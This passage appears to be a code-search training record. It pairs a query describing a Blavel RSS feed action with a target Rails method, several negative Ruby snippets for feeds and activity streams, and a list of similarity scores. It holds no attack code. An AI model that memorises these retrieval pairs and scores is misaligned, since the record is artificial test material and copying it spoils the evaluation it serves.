張貼的新聞訊息\n #{story_link(news)} 回應。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n else\n %(#{user_link_with_image(commenter)} 在 \n #{someones(news.creator, commenter)} 張貼的新聞訊息\n #{story_link(news)} 回應。<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(activity.item.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n end\n end\n when \"Friendship\"\n user = activity.item.user\n friend = activity.item.friend\n if activity.item.friend.admin?\n if recent\n %(#{owner.short_name} 加入了 #{app_name}。)\n else\n %(#{user_link_with_image(activity.item.user)}\n 加入了 Cateplaces。)\n end\n else\n if recent\n %(#{owner.short_name} 和 #{user_link_with_image(activity.item.friend)} 成為了朋友。)\n else\n %(#{someones(user, friend)} 和\n #{someones(friend, user)} 現在已經成為朋友。)\n end\n end\n when \"ForumPost\"\n post = activity.item\n group = post.forum.forumable\n if recent\n if owner.class.to_s == \"Group\"\n %(#{user_link_with_image(post.user)} 貼文回覆了討論串 \n #{topic_link(post.topic)}:<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(post.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n else\n %(#{owner.short_name} 貼文回覆討論串 \n #{topic_link(post.topic)}:<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(post.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n else\n if owner.class.to_s == \"Group\"\n %(#{user_link_with_image(post.user)} 貼文回覆了群組\n #{group_link(group)} 的討論串\n #{topic_link(post.topic)}:<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(post.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n else\n %(#{user_link_with_image(owner)} 貼文回覆討論串\n #{topic_link(post.topic)}:<p>\n #{image_tag(\"start_quote.gif\")} \n #{sanitize(truncate(post.body, 120))} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n end\n when \"Topic\"\n topic = activity.item\n group = topic.forum.forumable\n if recent\n if owner.class.to_s == \"Group\"\n %(#{user_link_with_image(topic.user)} 在討論區新增了話題: \n #{topic_link(activity.item)}。)\n else\n %(#{owner.short_name} 在討論區 \n #{site_forum_link(activity.item.forum)} 新增了話題: \n #{topic_link(activity.item)}。)\n end\n else\n if owner.class.to_s == \"Group\"\n %(#{user_link_with_image(topic.user)} 在群組\n #{group_link(group)} 的討論區新增了話題:\n #{topic_link(activity.item)}。)\n else\n %(#{user_link_with_image(owner)} 在討論區 \n #{site_forum_link(activity.item.forum)} 新增了話題:\n #{topic_link(activity.item)}。)\n end\n end\n when \"User\"\n if recent\n %(#{owner.short_name} 修改了個人帳號資料。)\n else\n %(#{user_link_with_image(owner)} 修改了他的帳號資料。)\n end\n when \"Gallery\"\n if recent\n %(#{owner.short_name} 新增了一本相簿\n #{gallery_link(activity.item)}。)\n else\n %(#{user_link_with_image(owner)} 新增了一本相簿\n #{gallery_link(activity.item)}。)\n end\n when \"Photo\"\n if recent\n %(#{owner.short_name} \n #{to_gallery_link(activity.item.gallery)} 新增了相片\n #{photo_link(activity.item)}。)\n else\n %(#{user_link_with_image(owner)}\n #{to_gallery_link(activity.item.gallery)} 新增了相片\n #{photo_link(activity.item)}。)\n end\n when \"Event\"\n event = activity.item\n time = event.start_time\n if event.eventable_type == \"Group\"\n if recent\n %(#{owner.short_name} 在群組\n #{group_link(event.eventable)} 建立了一項活動\n #{event_link(event.title, event)}。時間於 \n #{time.strftime('%m月%d日 %H:%M')}。)\n else\n %(#{user_link_with_image(owner)} 在群組\n #{group_link(event.eventable)} 建立了一項活動\n #{event_link(event.title, event)}。時間於 \n #{time.strftime('%y年%m月%d日 %H:%M')}。)\n end\n else\n if recent\n %(#{owner.short_name} 建立了一項活動\n #{event_link(event.title, event)}。時間於 \n #{time.strftime('%m月%d日 %H:%M')}。)\n else\n %(#{user_link_with_image(owner)} 建立了一項活動\n #{event_link(event.title, event)}。時間於 \n #{time.strftime('%y年%m月%d日 %H:%M')}。)\n end\n end\n when \"EventAttendee\"\n event = activity.item.event\n if event.eventable_type == \"Group\"\n if recent\n %(#{owner.short_name} 將出席群組\n #{group_link(event.eventable)} 召集的活動 \n #{event_link(event.title, event)}。) \n else\n %(#{user_link_with_image(owner)} 將出席群組\n #{group_link(event.eventable)} 召集的活動 \n #{event_link(event.title, event)}。) \n end\n else\n if recent\n %(#{owner.short_name} 將出席 \n #{someones(event.user, owner)} 召集的活動 \n #{event_link(event.title, event)}。) \n else\n %(#{user_link_with_image(owner)} 將出席\n #{someones(event.user, owner)} 召集的活動 \n #{event_link(event.title, event)}。) \n end\n end\n when \"Group\"\n if owner.class.to_s == \"Group\"\n if recent\n %(管理員變更了群組頁面的內容。)\n else\n %(#{group_link(activity.item)} 的管理員變更了群組頁面的內容。)\n end\n else\n if recent\n %(#{owner.short_name} 建立了一個群組 \n #{group_link(Group.find(activity.item))}。)\n else\n %(#{user_link_with_image(owner)} 建立了一個群組 \n #{group_link(Group.find(activity.item))}。)\n end\n end\n when \"Membership\"\n if owner.class.to_s == \"Group\"\n if recent\n %(#{user_link_with_image(User.find(activity.item.user))} 現在是群組的成員。)\n else\n %(#{user_link_with_image(User.find(activity.item.user))} 現在是群組 \n #{group_link(Group.find(activity.item.group))} 的成員。)\n end\n else\n if recent\n %(#{owner.short_name} 加入了 #{group_link(Group.find(activity.item.group))} 群組。)\n else\n %(#{user_link_with_image(owner)} 加入了 \n #{group_link(Group.find(activity.item.group))} 群組。)\n end\n end\n when \"NewsItem\"\n news = activity.item\n if owner.class.to_s == \"User\"\n if recent\n %(#{owner.short_name} 發表了一篇網誌文章 \n #{note_link(news.newsable, news)}。)\n else\n %(#{user_link_with_image(news.creator)} 發表了一篇網誌文章 \n #{note_link(news.newsable, news)}:<p>\n #{image_tag(\"start_quote.gif\")} \n #{summarize(news.body, 120)} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n elsif owner.class.to_s == \"Group\"\n group = news.newsable\n if recent\n %(#{user_link(news.creator)} 張貼了一篇新聞訊息 \n #{news_link(group, news)}。)\n else\n %(#{user_link_with_image(news.creator)} 在群組 #{group_link(news.newsable)} 張貼了一篇新聞訊息 \n #{news_link(group, news)}:<p>\n #{image_tag(\"start_quote.gif\")} \n #{summarize(news.body, 120)} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n elsif owner.class.to_s == \"Widget\"\n if recent\n %(#{owner.short_name} 張貼了一篇新聞文章 \n #{story_link(news)}。)\n else\n %(#{user_link_with_image(news.creator)} 張貼了一篇新聞文章 \n #{story_link(news)}。<p>\n #{image_tag(\"start_quote.gif\")} \n #{summarize(news.body, 120)} \n #{image_tag(\"end_quote.gif\")}</p>)\n end\n end\n \n else\n raise \"不合法的活動類型 '#{activity_type(activity).inspect}'\"\n end\n end", "def handle_news\n @feeder.send_feed(message.chat.id)\n end", "def index\n @meetings = Meeting.recent\n @past_meetings = Meeting.recent.past\n @upcoming_meetings = Meeting.upcoming\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @meetings }\n format.atom\n end\n end", "def post_feed\n offset = params[:offset].to_i * 10;\n @follows = Follow.includes(:follower, :followee).where(:follows => {:follower_id => params[:userId]})\n @posts = User.find(params[:userId]).offset_feed_posts(offset)\n @hashtags = Hashtag.all\n render 'api/posts/index'\n end", "def feed\n # todo dangerous?\n klass = @type.constantize\n\n @community_slides = current_user.community(klass)\n @friends_slides = current_user.friends(klass)\n @private_slides = current_user.private(klass)\n\n # respond_with klass.feed(current_user).to_json\n respond_with 'slides/feed'\n end", "def on_get(path)\n topics = I3.server.remote_account_as(Account).viewable_topics\n articles = Article.find_recent(MAX_ARTICLES, topics).collect do |article|\n item = I3::SharedObject.new\n if article.comments.count > 0\n item.modified_at = article.comments.last.posted_at\n item.last_contributor = article.comments.last.author.full_name\n else\n item.modified_at = article.posted_at\n item.last_contributor = article.author.full_name\n end #if\n item.author = article.author.full_name\n item.subject = article.subject\n item.uri = '/bboard/data/messages/%s/%s/%s' % [\n article.topic.permalink,\n article.posted_at.strftime(\"%Y/%m/%d\"),\n article.permalink\n ]\n item.comment_count = article.comments.count\n item\n end #collect\n I3.server.send_object(articles)\n end", "def show\n @feed = current_user.feeds.find_by_slug(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end", "def index\r\n @blogposts = Blogpost.all\r\n #used for current day and date.\r\n #@WeatherRss = WeatherRSS.new()\r\n @weather_rss = WeatherRSS.weather_rss\r\n end", "def events_feed\n @group = Group.find_by(id: params[:id]) || not_found\n not_found unless @group.status?\n raise 'NotGroupMember' unless @group.member?(current_user)\n @events = @group.events.confirmed.by_date\n\n feed = []\n @events.each do |event|\n next if event.date_tba == true\n event_link = url_for(\n controller: 'events', action: 'show', group_id: @group.id,\n id: event.id\n )\n feed << {\n date: event.start_time.strftime('%Y-%m-%d'),\n title: \"#{event.time != '' ? event.time : 'TBA'} - #{event.event_name}\",\n url: event_link,\n ticket_stats: event.ticket_stats(@group, current_user)\n }\n end\n render json: feed\n end", "def feed\n @feeddata\n end" ]
[ "0.6771904", "0.6584737", "0.6433012", "0.64216465", "0.641569", "0.6402282", "0.6347387", "0.63444835", "0.62742895", "0.62711406", "0.6259243", "0.61857957", "0.6183291", "0.6161313", "0.61481607", "0.6098315", "0.6058668", "0.60156745", "0.6004661", "0.5992061", "0.5973956", "0.5965876", "0.59542733", "0.5943552", "0.59426713", "0.594189", "0.59384966", "0.5927329", "0.59257287", "0.59257096", "0.5919061", "0.5913776", "0.5896392", "0.58942974", "0.58884543", "0.58818847", "0.58818847", "0.58818847", "0.58818847", "0.58818847", "0.58802474", "0.5873078", "0.58642805", "0.5855551", "0.5853054", "0.5831923", "0.58229524", "0.581724", "0.5799017", "0.57896405", "0.5786411", "0.57842726", "0.5783948", "0.5783671", "0.57738143", "0.5771235", "0.5770753", "0.57613766", "0.57609487", "0.5750961", "0.57297164", "0.57297117", "0.5710635", "0.57071006", "0.56973535", "0.56901956", "0.5682126", "0.5673382", "0.567075", "0.5662", "0.56528914", "0.5648462", "0.5646891", "0.5643572", "0.56411767", "0.5634327", "0.5634323", "0.56324965", "0.56324834", "0.5626992", "0.5622247", "0.560942", "0.56080574", "0.5604029", "0.5599483", "0.55994636", "0.5598267", "0.55939966", "0.5591061", "0.5589167", "0.55855703", "0.55845237", "0.5584342", "0.5584008", "0.5583348", "0.55743873", "0.5572397", "0.5569153", "0.5568827", "0.5564032" ]
0.73251134
0
Responds with an RSS feed summarising what has been happening on Blavel recently. Parameters:: user_login, everybody Route:: GET /:user_login/feed
def rss # Get the specified user, making sure that it exists if !@user = User.find_by_login(params[:user_login]) raise ActiveRecord::RecordNotFound end # If the everybody flag is set, respond with feed items about everybody # on Blavel # Otherwise, respond with feed items only about the people that the # current user is following @everybody = params[:everybody] if @everybody @feed_items = gather_feed_items else @feed_items = gather_feed_items(current_user) end rescue ActiveRecord::RecordNotFound => error logger.info error flash[:notice] = 'The user you requested does not exist.' redirect_to '/' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def feed\n get '/users/self/feed', auth_params\n end", "def newsfeed\n check_auth :newsfeed\n \n response = connection.post do |req|\n req.url '/user/newsfeed'\n req.body = { :format => @format }\n end\n response\n end", "def feed\n\n # If the user is not logged in, render the non-member home action\n if !current_user\n render :template => 'promo/home', :layout => 'empty'\n else\n @everybody = params[:everybody]\n\n # If the everybody flag is set, respond with feed items about everybody\n # on Blavel\n # Otherwise, respond with feed items only about the people that the\n # current user is following\n if @everybody\n @feed_items = gather_feed_items\n else\n @feed_items = gather_feed_items(current_user)\n end\n\n # Pass through the first 5 followers and the first 5 followees, all\n # randomised\n @followers = current_user.followers.sort_by { rand }.first(6)\n @followees = current_user.followees.sort_by { rand }.first(6)\n\n # Respond with html or javascript, depending on whether it is requested\n # via ajax or not\n respond_to do |format|\n format.html\n format.js { render :template => 'feeds/feed.js.erb', :layout => false }\n end\n end\n end", "def feed\r\n # check for valid access key:\r\n user = User.find_by_rss_access_key(params[:access_key])\r\n @authorized = !user.blank?\r\n\r\n # get the folder\r\n @folder = Folder.find_by_id(folder_id)\r\n\r\n # set appriopriate instance variables,\r\n # so the feed can be created in folder.rxml\r\n if @authorized and not @folder.blank?\r\n if @folder.is_root or user.can_read(@folder.id)\r\n @folders = @folder.list_subfolders(user, 'name')\r\n @myfiles = @folder.list_files(user, 'filename')\r\n else\r\n @authorized = false\r\n end\r\n end\r\n\r\n # finally, set correct header\r\n if @authorized\r\n headers['Content-Type'] = 'text/xml'\r\n else\r\n headers['Content-Type'] = 'text/html'\r\n end\r\n end", "def rss # :nologin:\n @logs = RssLog.all(conditions: \"datediff(now(), updated_at) <= 31\",\n order: \"updated_at desc\", limit: 100,\n include: [:name,\n :species_list,\n { observation: :name }\n ])\n render_xml(layout: false)\n end", "def index # :nologin:\n list_rss_logs\n end", "def rss\n render_rss_feed_for Announcement.find(:all, :order => 'created_at DESC',\n :limit => 10), {\n :feed => {\n :title => 'OpenMind New Announcements',\n :link => announcements_url,\n :pub_date => :created_at\n },\n :item => {\n :title => :headline,\n :description => :formatted_description,\n :link => Proc.new{|announcement| \"#{announcements_url}##{announcement.id}\" }\n }\n }\n end", "def index\n @user_feeds = UserFeed.find_all_by_user_id(current_user.id)\n end", "def index\n @page_title = 'Feeds'\n if [email protected]?\n @feeds = @user.feeds\n else\n @feeds = Feed.find(:all, :limit => 100)\n end\n render_index\n end", "def feed\r\n @posts = Post.all(:order => \"created_at DESC\")\r\n respond_to do |format|\r\n format.rss\r\n end\r\n end", "def feed\n @feed_items = @repository.recent_feed_items\n respond_to do |format|\n format.html # feed.html.erb\n format.json { render json: @feed_items }\n end\n end", "def news\n do_scrape\n @posts = UbuEntry.all(:order => \"id DESC\", :limit => 400)\n render :layout => false, :content_type => Mime::RSS\n end", "def index\n @posts = Post.limit 50\n @title = \"Weblog - last posts\"\n @updated = @posts.first.created_at unless @posts.empty?\n respond_to do |format|\n format.rss do\n redirect_to feeds_path(format: :atom),\n status: :moved_permanently\n end\n format.atom\n end\n end", "def news_feed\n begin\n client = Feedlr::Client.new(oauth_access_token: ENV['FEEDLY_OAUTH_ACCESS_TOKEN'])\n @latest_list = {}\n client.user_unread_counts.unreadcounts.each do |unread_articles|\n next if unread_articles['count'] == 0\n unread_article_items = client.stream_entries_contents(unread_articles.id, unreadOnly: true).items\n next if unread_article_items.empty?\n\n unread_article_items.each do |article|\n @latest_list[article.alternate[0].href] = \"◼︎ <a href='#{article.alternate[0].href}'>#{article.title} - #{article.origin.title}</a>\"\n end\n client.mark_article_as_read(unread_articles.id)\n end\n @latest_news = @latest_list.values.join(\"<br>\")\n rescue => evar\n fail evar\n end\n @latest_news\n end", "def rss\n @logs = RssLog.includes(:name, :species_list, observation: :name).\n where(\"datediff(now(), updated_at) <= 31\").\n order(updated_at: :desc).\n limit(100)\n\n render_xml(layout: false)\n end", "def feed\n tag = params[:tag] || \"home\"\n return render_feed(params[:type].to_sym, tag)\n end", "def index\n if session[:user_id]\n redirect_to home_feeds_url\n end\n end", "def feed\n if current_user\n feed = []\n Event.where(user_id: current_user.id).each do |event|\n event.comments.each do |comment|\n if (DateTime.current - comment.created_at.to_datetime).to_f < (DateTime.current - current_user.last_sign_in.to_datetime).to_f\n feed << event.name << comment\n end\n end\n event.file_attachments.each do |file|\n if (DateTime.current - file.created_at.to_datetime).to_f < (DateTime.current - current_user.last_sign_in.to_datetime).to_f\n feed << event.name << file\n end\n end\n end\n respond_with feed\n else\n redirect_to root_path\n end\n end", "def rss\n render_rss_feed_for Idea.find(:all, :order => 'created_at DESC',\n :limit => 10), {\n :feed => {\n :title => 'OpenMind New Ideas',\n :link => url_for(:controller => 'ideas', :action => 'list', :only_path => false),\n :pub_date => :created_at\n },\n :item => {\n :title => :title,\n :description => :formatted_description,\n :link => Proc.new{|idea| url_for(:controller => 'ideas',\n :action => 'show', :id => idea.id)}\n }\n }\n end", "def list_rss_logs # :nologin:\n query = create_query(:RssLog, :all,\n type: @user ? @user.default_rss_type : \"all\")\n show_selected_rss_logs(query)\n end", "def feed\n user = User.find_by_case_insensitive_username(params[:id])\n if user\n redirect_to \"/feeds/#{user.feed.id}.atom\"\n else\n render :file => \"#{Rails.root}/public/404.html\", :status => 404\n end\n end", "def feed\n @blog_articles = BlogArticle.all\n respond_to do |format|\n format.rss { render layout: false }\n end\n end", "def feed(usuario = \"me\")\n\t\[email protected]_connections(usuario, 'feed')\n\tend", "def feed\n\n end", "def rss\n @title = t('titles.news', brand: website.brand_name)\n @description = website.value_for(\"default_meta_tag_description\")\n @news = News.all_for_website(website)\n respond_to do |format|\n format.xml # render rss.xml.builder\n end\n end", "def username_feed(username)\n\t\t\tid = search_user(username)['data'][0]['id']\n\t\t\tfeed = user_feed(id)\t\t\t\n\t\t\treturn feed\n\t\tend", "def index\n # Load the latest full blog feed for Frank's blog as per \n @latest_blog_posts = load_blog_feed_for_url('http://blog.rietta.com/feeds/posts/default?alt=rss')\n \n # Load the latest posts for the Marketing label feed. Labels are case sensitive - Marketing != marketing\n # Please note that the example of the Google website has an error on its label example. The alt=rss comes after\n # the label in the feed URL\n @latest_marketing_posts = load_blog_feed_for_url('http://blog.rietta.com/feeds/posts/default/-/Marketing?alt=rss')\n \n # Load the latest posts for the SQL Converter label feed (space in the tag)\n @latest_sql_converter_posts = load_blog_feed_for_url('http://blog.rietta.com/feeds/posts/default/-/SQL%20Converter?alt=rss')\n end", "def rss\n forum = Forum.find(params[:id])\n comments = forum.comments_by_topic.find_all{|c| !c.private and forum.can_see? current_user}\n render_rss_feed_for comments, {\n :feed => {\n :title => \"New OpenMind Comments for Forum \\\"#{forum.name}\\\"\",\n :link => forum_url(forum.id),\n :pub_date => :created_at\n },\n :item => {\n :title => :rss_headline,\n :description => :rss_body,\n :link => Proc.new{|comment| \"#{topic_url(comment.topic.id, :anchor => comment.id)}\" }\n }\n }\n end", "def feed\n @articles = Article.feed_list(current_user, params[:page])\n end", "def rss\n @headers[\"Content-Type\"] = \"application/xml\"\n @articles = Article.find(:all, \n :order => 'created_at DESC',\n :conditions => [\"articles.approved = ?\", true],\n :limit => 10\n )\n render :layout => false\n end", "def rss\n @events = Post.find(:all, {:conditions=> \"status=public\"},:order => \"id DESC\")\n render :layout => false\n headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end", "def feed\n end", "def list_rss_logs\n query = create_query(:RssLog, :all,\n type: @user ? @user.default_rss_type : \"all\")\n show_selected_rss_logs(query)\n end", "def get_userposts( user )\n posts = []\n url = \"http://feeds.delicious.com/rss/#{user}\"\n\n response = Net::HTTP.get_response(URI.parse(url)).body\n doc = REXML::Document.new(response)\n\n doc.elements.each(\"//item\") do |item|\n posts << { \"href\" => item.elements[\"link\"].text }\n end\n\n sleep 1\n return posts\n end", "def index\n @user = User.find(params[:user_id])\n @posts = Post.feed_items(@user)\n @post = Post.new\n end", "def show\n current_user_as :main_app do |current_user|\n respond_to do |format|\n format.html { render }\n format.rss {\n if @page.contains_feed?\n render :action => \"show\", :layout => false, :handlers => [:builder]\n else\n render :xml => {:error => 'Not found'}, :status => 404\n end\n }\n end\n end\n end", "def user_live_feed(user_id, params = {})\n get(\"/v1/users/#{user_id}/live\", params)\n end", "def index\n if params[:user].nil?\n @articles = Article.all\n else\n @articles = Article.where(\"user_id = ?\", params[:user])\n end\n @articles = @articles.paginate(:page => params[:page], :per_page => 5)\n respond_to do |format|\n format.html\n format.atom\n format.rss\n end\n end", "def index\n @feed_items = @user.feed_items\n render json: @feed_items\n end", "def feed\n\t\tMicropost.where(\"user_id = ?\", id)\n\tend", "def feed\n\t\tMicropost.where(\"user_id = ?\", id)\n\tend", "def feed\n\t\tMicropost.where(\"user_id = ?\", id)\n\tend", "def feed\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.rss\n end\n end", "def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end", "def feed\r\n\t\t@blogs = Blog.find(:all, :conditions => { :is_indexed => true, :is_complete => true }, :order => \"created_at DESC\")\r\n\t\trender :action => :feed, :layout => false\r\n\tend", "def feed\n\t\tMicropost.where(\"user_id = ?\", id)\n \tend", "def show\n\n update_feed(@feed)\n\n @items = @feed.items.order('pub_date DESC').page params[:page]\n\n end", "def parse_feed\n remove_previous_entries\n @items = @content[\"rss\"][\"channel\"][\"item\"]\n if [email protected]?\n for item in @items do\n item[\"pubDate\"] ||= \"\"\n item[\"creator\"] ||= \"\"\n item[\"guid\"] ||= \"\"\n item[\"title\"] ||= \"\"\n item[\"description\"] ||= \"\"\n clean_content(item[\"encoded\"] ||= \"\")\n item[\"link\"] ||= \"\"\n params = { \n :pubdate => item[\"pubDate\"], \n :creator => item[\"creator\"], \n :guid => relative_link(item[\"guid\"]), \n :title => item[\"title\"], \n :description => item[\"description\"], \n :content => @content, \n :link => relative_link(item[\"link\"])\n }\n insert_entry(params)\n end\n end\n end", "def feed\n cached = Rails.cache.read(\"rss\")\n return cached unless cached.nil?\n\n resp = HTTParty.get(Rails.configuration.x.application.blog_rss)\n return [] unless resp.code == 200\n\n rss = RSS::Parser.parse(resp.body, false).items.first(5)\n cache_content(\"rss\", rss)\n rss\n rescue StandardError => e\n # If we were unable to connect to the blog rss\n logger.error(\"Caught exception RSS parse: #{e}.\")\n []\n end", "def feed\n # todo dangerous?\n klass = @type.constantize\n\n @community_slides = current_user.community(klass)\n @friends_slides = current_user.friends(klass)\n @private_slides = current_user.private(klass)\n\n # respond_with klass.feed(current_user).to_json\n respond_with 'slides/feed'\n end", "def feed\n user = User.find(params[:id])\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n microposts = Micropost.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: params[:id])\n microposts_json = microposts_as_json(microposts.paginate(page: params[:page]))\n next_page = microposts.paginate(page: params[:page]).next_page\n @package = { next_page: next_page,\n microposts: microposts_json,\n is_current_user: (user == current_user) }\n render json: @package\n end", "def show\n if @user != current_user\n redirect_to :action => 'feed', :id => @user.id\n end\n end", "def index\n\t\tpage = params[:page]\n\t\t@feed = params[:feed]\n\t\t@user=current_user\n \t#@logs=Log.find(:all)\n\t\tif not @feed\n\t\t\t@feed=\"recent\"\n\t\tend\n\t\t\n\t\tif (@feed == \"friends\" or @feed == \"mylists\" or @feed == \"mine\") and (not current_user)\n\t\t\t\tredirect_to login_path\n\t\t\t\treturn\n\t\tend\n\t\t\n\t\tif @feed==\"friends\" \n\t\t\tfids=Array.new\n \tfriends = Friend.find(:all, :conditions => \"user_id = #{@user.id}\")\n \tfriends.each {|f| fids << f.friend_id}\n\t\t\t#fids << current_user.id\n \t\t\t@logs = Log.paginate(:all, :conditions => {:user_id => fids}, :order=>\"datetime desc\",:page=>page)\n\t\telsif @feed == \"mylists\"\n\t\t\t\t@logs = Log.paginate(:all, :conditions=>[\"user_id=? and action='NEW_LIST_SOCIAL'\",@user.id], :order=>\"datetime desc\",:page=>page)\n\t\telsif @feed == \"mine\"\n \t\t\t\t@logs = Log.paginate(:all, :conditions=>[\"user_id=?\",@user.id], :order=>\"datetime desc\",:page=>page)\n\t\t\telse\n\t\t\t@logs = Log.paginate(:all, :order=>\"id desc\", :page=>page)\n\t\tend\n\tend", "def feed\n\t\t# This is preliminary. See \"Following users\" for the full implementation.\n\t\t#Micropost.where(\"user_id = ?\", id) # \"?\" ensures variable 'id' is properly escaped\n\t\t\t\t\t\t\t# before being used in SQL query\n\t\t\t\t\t\t\t# same as 'microposts' - which references all microposts of the user\n\t\t\t\t\t\t\t# But eventually want not just this user's microposts -- but the\n\t\t\t\t\t\t\t# microposts of the folks he's following\n\t\t\t\t\t\t\t# Otherwise user.microposts would've been fine, rather we want user.feed\n\t\t# rather than show posts by user, show posts by users the user follows\n\t\tMicropost.from_users_followed_by(self) \n\tend", "def show\n @user = User.find(params[:id])\n @tags = @user.poems.tag_counts\n @poems = Poem.find(:all, :order => 'created_at desc', :limit => 5, :conditions => [\"user_id = ?\", @user.id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.rss { render :layout => false } # show.rss.builder\n format.rdf { render :layout => false } # show.rdf.builder\n format.xml { render :xml => @user }\n end\n end", "def index_feeds\n if @feeds.present?\n # Compose an array; each element is a hash containing the data necessary to render a feed in the JSON response\n @feeds_data = []\n @feeds.each do |feed|\n begin\n if @folder.nil?\n # If we're retrieving feeds regardless of folder, we have to find out in which folder is each feed, if any.\n folder_id = feed.user_folder(current_user)&.id || 'none'\n else\n # If we're retrieving feeds in a folder, we already know that all feeds are in this folder\n folder_id = @folder.id\n end\n\n unread_count = current_user.feed_unread_count feed\n\n data = {feed: feed, folder_id: folder_id, unread_count: unread_count}\n @feeds_data << data\n rescue NotSubscribedError => e\n # If the feed in the current iteration is no longer subscribed (e.g. because of an asynchrously running worker that has\n # unsubscribed it), just ignore it and continue with the next iteration\n Rails.logger.warn \"Listing subscribed feeds for user #{current_user.id} - #{current_user.email}, feed #{feed.id} is no longer subscribed, ignoring it\"\n end\n end\n\n respond_with @feeds_data\n else\n Rails.logger.info \"User #{current_user.id} - #{current_user.email} has no feeds to return, returning a 404\"\n head 404\n end\n end", "def show\n @feed = current_user.feeds.find_by_slug(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end", "def index\n people_in_feed = current_user.feed_list\n @posts = Post.where(user: people_in_feed)\n end", "def show\n \t@user = User.find(params[:id])\n # Make microposts available for users show-action\n @feed_items = @user.microposts.paginate(page: params[:page])\n end", "def feed\n # This is preliminary. See \"Following users\" for the full implementation.\n Micropost.where(\"story_id = ?\", id)\n end", "def show\n @feed = Feed.find(params[:id])\n #@feeds = Feed.from_users_followed_by(current_user)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end", "def get_rss\n all( :conditions => ['published_at IS NOT NULL'], :order => 'published_at DESC', :limit => per_page )\n end", "def show\n redirect_to feeds_url\n # @feed = Feed.find(params[:id])\n # @user_feed = current_user.user_feeds.find_by_feed_id(@feed.id)\n end", "def feed\n # This is preliminary. See \"Following users\" for the full implementation\n Micropost.where( \"user_id = ?\", id ) \n # using ? ensures that id is properly escaped before submitting the SQL query\n end", "def feed\n\t\t\tpost = { \"token\" => @token }\n\t\t\tdocxml = nil\n\t\t\tdocxml = nessus_request('feed', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\tfeed = docxml.root.elements['contents'].elements['feed'].text\n\t\t\tversion = docxml.root.elements['contents'].elements['server_version'].text\n\t\t\tweb_version = docxml.root.elements['contents'].elements['web_server_version'].text\n\t\t\treturn feed, version, web_version\n\t\tend", "def show_rss_log # :nologin:\n pass_query_params\n store_location\n @rss_log = find_or_goto_index(RssLog, params[\"id\"])\n end", "def show\n @feed = Feed.find(params[:id])\n @related_feeds = @feed.list_related_feeds(current_user)\n @feed_entries = Entry.where(feed_id: @feed.id).order(\"updated_at DESC\").page(params[:page]).per(10)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end", "def rss\n\t\theaders[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\t\trender :layout => false\n\tend", "def feed\n # escape the id to avoid security holes\n Micropost.where(\"user_id = ?\", id)\n end", "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "def index\n params[:feeds] = current_user.feeds.collect { |item| item.id }\n if params[:feeds].count > 0\n @articles = Article.search(params)\n else\n @articles = []\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @articles }\n end\n end", "def index\n # カレントページはGETパラメーターとして受け取ってくる想定\n @page = params['page'].to_i\n # リスト初期化\n $alist = []\n @userBlogInfos = UserBlogInfo.all\n \n url = []\n @userBlogInfos.each do |userBlogInfo|\n if userBlogInfo.feedUrl.present?\n url.push(userBlogInfo.feedUrl)\n else\n puts \"no\"\n end\n end\n \n url.each do |item|\n perse(item)\n end\n\n #時系列順にソート -にすることで降順にする。\n @sorted = $alist.sort{|aa, bb|\n -(aa.published.to_i <=> bb.published.to_i)\n }\n #ページサイズ\n #ページネーション設定\n @rss_list = Kaminari.paginate_array(@sorted).page(params[:page]).per(10)\n end", "def feed\n Micropost.where(\"user_id = ?\", id)\n end", "def feed!\n http_fetch(feed_url)\n end", "def latest_reviews_rss\r\n @title = \"The Latest Reviews\"\r\n @reviews = Review.get_paginated_reviews(Category.find_root, 20, 1, 3.days.ago)[0]\r\n render :template => \"common/rss\", :layout => nil\r\n end", "def index\n get_recent_activity\n if params[:remote]\n render partial: \"subscriptions/summary\"\n else\n #current_user.update_attribute(:feed_last_visited_at, Time.now)\n render \"index\"\n end\n end", "def index\n #body, ok = SuperfeedrEngine::Engine.retrieve(Feed.first) \n @entries = Entry.all\n end", "def feed\n @feeddata\n end", "def read_rss\n query = \"http://news.google.ru/news?hl=ru&topic=#{@topic}&output=rss&ned=ru_ru&num=30&&scoring=n\"\n feed = Feedjira::Feed.fetch_and_parse(query)\n feed.entries.map do |entry|\n {\n 